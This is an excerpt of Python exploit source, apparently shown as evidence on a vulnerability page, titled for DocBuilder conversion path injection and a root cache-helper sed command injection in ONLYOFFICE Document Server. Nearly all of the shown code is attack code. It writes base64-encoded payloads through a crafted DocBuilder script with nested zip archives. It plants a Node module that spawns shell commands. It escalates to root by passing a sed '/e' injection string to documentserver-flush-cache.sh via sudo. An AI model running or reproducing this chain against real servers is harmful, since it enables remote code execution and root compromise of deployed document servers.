renamed-onlyoffice_execution.py
DocBuilder conversion path injectionRoot cache helper sed command injection
SHA-256a1346e8a4eea614204cdb65d48385e243737a8daad25205cd1915209b65a6287
Evidence
1"""Command payloads, state backups and artifact reporting for both write routes."""
2
3from __future__ import annotations
4
5import base64
6import io
7import json
8import shlex
9import time
10import uuid
11import zipfile
12from pathlib import Path
13
14from onlyoffice_common import (
15 DocumentServer,
16 ExploitError,
17 OutputFile,
18 TransportError,
19 read_server_file,
20 status,
21)
22
23DATA = "/srv/writable"
24RUNTIME = DATA + "/runtime.json"
25API = "/var/www/onlyoffice/documentserver/web-apps/apps/api/documents/api.js"
26
27
28def add_execut …
⋯4 lines
46
47def encoded_write(data: bytes, path: str) -> str:
48 encoded = base64.b64encode(data).decode("ascii")
49 return f"printf '%s' {shlex.quote(encoded)} | base64 -d > {shlex.quote(path)}"
50
51
52class Execution:
53 def __init__(
54 self,
55 client: DocumentServer,
56 token: str,
57 command: str,
58 *,
59 as_root: bool,
60 artifacts_dir: Path,
61 runtime_absent: bool,
62 keep_artifacts: bool,
63 ):
64 self.client, self.token, self.command = client, token, command
65 self.as_root, self.keep = as_root, keep_artifac …
96:42… if as_root else None,
97 "staged_archive_possible": f"/tmp/nativeZip/{self.archive}",
98 "cache": "DocBuilder/save job data remains subject to server TTL",
99 }
100 self …
220:113… e(self.output)}
221 exit 1
222 fi
223 {finish}
224) </dev/null >/dev/null 2>&1 &"""
225 return f"""#!/bin/sh
226/bin/sh -c {shlex.quote(self.command)} > {shlex.quote(self.output)} 2>&1
227command_status=$?
228{finish}
⋯4 lines
233 script_path = f"{DATA}/{self.script}"
234 if self.as_root:
235 command = f"/bin/sh {script_path} >/dev/null 2>&1"
236 escaped = command.replace("/", "\\/")
237 payload = f"';{escaped};#'/e;#"
238 executable = "/usr/bin/sudo"
239 args = ["/usr/bin/documentserver-flush-cache.sh", "--hash", payload, "--restart", "false"]
240 else:
241 executable, args = "/bin/sh", [script_path]
242 callback_condition = "true" if self.as_root else "error"
243 return f"""const fs = require("fs");
244exports.configure = () => () => {{}};
245try {{
246 const lock = fs.openSync({json.dumps(self.lock)}, "wx", 0o600);
247 fs.closeSync(lock);
248 const result = fs.openSync({json.dumps(self.output)}, "wx", 0o600);
249 fs.closeSync(result);
250 require("child_process").execFile({json.dumps(executable)}, {json.dumps(args)},
251 {{timeout: 0}}, (error) => {{
252 if ({callback_condition}) {{
253 fs.writeFileSync({json.dumps(self.ack + ".tmp")}, JSON.stringify({{exit: error ? error.code : 0}}), {{mode: 0o600}});
254 fs.renameSync({json.dumps(self.ack + ".tmp")}, {json.dumps(self.ack)});
255 }}
256 }});
257}} catch (error) {{
258 if (error.code !== "EEXIST") throw error;
259}}
260""".encode()
261
262 def payloads(self) -> list[t …
269:17… _script(self) -> str:
270 inner = io.BytesIO()
271 with zipfile.ZipFile(inner, "w", compression=zipfile.ZIP_DEFLATED) as archive:
272 for path, payload in self.payloads():
273 archive.writestr(path.rsplit("/", 1)[-1], payload)
274 outer = io.BytesIO()
275 with zipfile.ZipFile(outer, "w", compression=zipfile.ZIP_DEFLATED) as archive:
276 archive.writestr(self.archive, inner.getvalue())
277 encoded = base64.b64encode(outer.getvalue()).decode("ascii")
278 params = (
279 f"<m_sFileFrom>/tmp/nativeZip/{self.archive}</m_sFileFrom>"
280 f"<m_sFileTo>{DATA}</m_sFileTo><m_nFormatFrom>2057</m_nFormatFrom><m_nFormatTo>0</m_nFormatTo>"
281 )
282 return f'''builder.CreateFile("docx");
283native.SetFilePath("/tmp/demo-{self.nonce}-placeholder");
284native.ZipOpenBase64("{encoded}");
285builder.SaveFile("docx", "safe.docx", {json.dumps(params)});
286builder.CloseFile();'''
287
⋯4 lines